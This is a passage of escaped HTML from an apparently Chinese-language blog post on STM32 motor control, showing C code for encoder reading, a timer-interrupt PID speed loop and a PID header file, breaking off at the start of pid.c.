class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"相关代码分享\"\u003e相关代码分享\u003c/h2\u003e\n\u003ch3 id=\"pid\"\u003epid\u003c/h3\u003e\n\u003cp\u003e由某物院实验室佬手写\u003c/p\u003e\n\u003cp\u003epid.h\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifndef __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define MAX_LEN 15\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKP\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eis_first\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 解决D的首次误差减去0得到一个不正常的D值问题\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003epid.c\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file PID\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @author zl (2293721550@qq.com)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 